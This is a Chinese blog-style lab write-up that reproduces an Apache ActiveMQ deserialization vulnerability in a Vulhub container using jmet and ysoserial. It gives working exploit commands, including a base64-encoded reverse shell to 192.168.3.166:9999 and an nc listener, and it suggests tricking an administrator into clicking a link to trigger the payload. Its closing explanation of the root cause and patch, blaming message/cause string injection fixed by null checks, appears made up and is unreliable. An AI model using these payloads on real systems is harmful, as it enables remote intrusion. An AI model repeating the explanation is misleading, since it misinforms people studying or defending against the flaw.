配置java环境
查看java
版本
1 | java -version |
安装java8
,默认安装在/usr/lib/jvm/java-8-openjdk-amd64
1 | sudo apt install openjdk-8-jdk |
配置环境变量
1 | sudo vim ~/.bashrc |
切换jdk版本
使用update-alternatives
命令进行版本更换
/usr/lib/jvm/java-8-openjdk-amd64
和/usr/bin/java
两个路径要和自己的路径吻合
1 | sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjdk-amd64/bin/java 1070 |
切换jdk
1 | sudo update-alternatives --config java |
漏洞复现
Vulhub搭建、运行漏洞环境
1 | docker compose up -d |
漏洞利用过程:
- 使用ysoserial构造可执行命令的序列化对象
- 作为一个消息,发送给目标的61616端口
- 访问web管理页面,读取消息,触发漏洞
jmet(Java消息利用工具 https://github.com/matthiaskaiser/jmet)的原理是使用ysoserial(java反序列化利用工具 https://github.com/frohoff/ysoserial)生成payload并发送(jar内自带ysoserial),在ysoserial中的gadget中选择一个可以使用的,比如ROME。
一些易受攻击的JMS:
- Apache ActiveMQ <–本次的受害者
- Redhat/Apache HornetQ
- Oracle OpenMQ
- IBM WebSphereMQ
- Oracle Weblogic
- Pivotal RabbitMQ
- IBM MessageSight
- IIT Software SwiftMQ
- Apache ActiveMQ Artemis
- Apache QPID JMS
- Apache QPID Client
- Amazon SQS Java Messaging
下载jmet–>https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
在jar的同级目录创建文件夹
1 | mkdir external |
执行
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616 |
此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
默认admin/admin
可以看到多了一条消息
点击消息触发文件创建,成功执行命令
此时进入容器docker compose exec activemq bash
,可见/tmp/success已成功创建,说明漏洞利用成功:
将命令换成反弹shell语句再利用:
使用https://ares-x.com/tools/runtime-exec生成payload
1 | bash -i >& /dev/tcp/192.168.3.166/9999 0>&1 |
发送pyload:
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTY2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.3.166 61616 |
监听9999端口:
1 | nc -l -p 9999 |
点击:
反弹shell成功:
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
原理
入口函数
该漏洞的入口函数为 org.apache.activemq.util.JMSExceptionSupport#createSerializableException
,当 ActiveMQ 接收到异常信息并尝试将其序列化时就会调用该函数。
JMSException
是 Java 消息服务(Java Message Service,JMS)中的一种异常,表示 JMS 操作出现了问题。在 ActiveMQ 中,当消息发送或接收失败时,就会抛出 JMSException
异常。
在 ActiveMQ 中,JMSExceptionSupport.createSerializableException()
方法会将 JMSException 异常对象序列化为字节数组,并包含了 cause
和 message
内的异常和信息。具体实现代码如下:
1 | public static JMSException createSerializableException(Throwable cause) { |
攻击者可以通过构造精心设计的 cause
和 message
字符串,注入恶意代码。当 ActiveMQ 在发送或接收消息失败时,将会调用 createSerializableException()
方法,将 JMSException
对象序列化后返回给客户端。客户端收到该序列化数据并尝试反序列化时,注入的恶意代码就会被执行,导致远程代码执行漏洞的发生。
总的来说,攻击者利用 createSerializableException()
方法中的漏洞注入恶意代码,接着将构造的序列化数据发送到 ActiveMQ服务器来触发漏洞,从而实现攻击目的。
补丁原理
ActiveMQ 反序列化漏洞的修复补丁函数是JMSExceptionSupport.createException(String message, Throwable cause)
,该函数会检查传入的 message
和 cause
是否为空,如果为空则会抛出IllegalArgumentException
异常。修复版 ActiveMQ 中增加了该函数的调用以及相关的参数检查,避免了该漏洞的利用。
首先,该函数的输入参数有两个:message
和cause
。message
是一个字符串,用于描述异常的信息;而cause
则是异常的根本原因,即导致该异常的另一个异常对象。通常,在使用异常对象时,我们会将根本原因字符串存入message
中,而cause
则可以是任何Throwable
类型的对象。
其次,该函数的修复思路是在message
和cause
参数检查中增加了空指针检查。具体而言,如果message
或cause
为空,则会抛出IllegalArgumentException
异常,阻止了攻击者构造恶意的cause
字符串和message
字符串进行利用。
最后,需要注意的是,该函数只是修复了漏洞的利用入口,而并不完全解决了该漏洞。因为在具有该漏洞的 ActiveMQ 版本中,仍然存在其他反序列化漏洞的利用入口。
参考: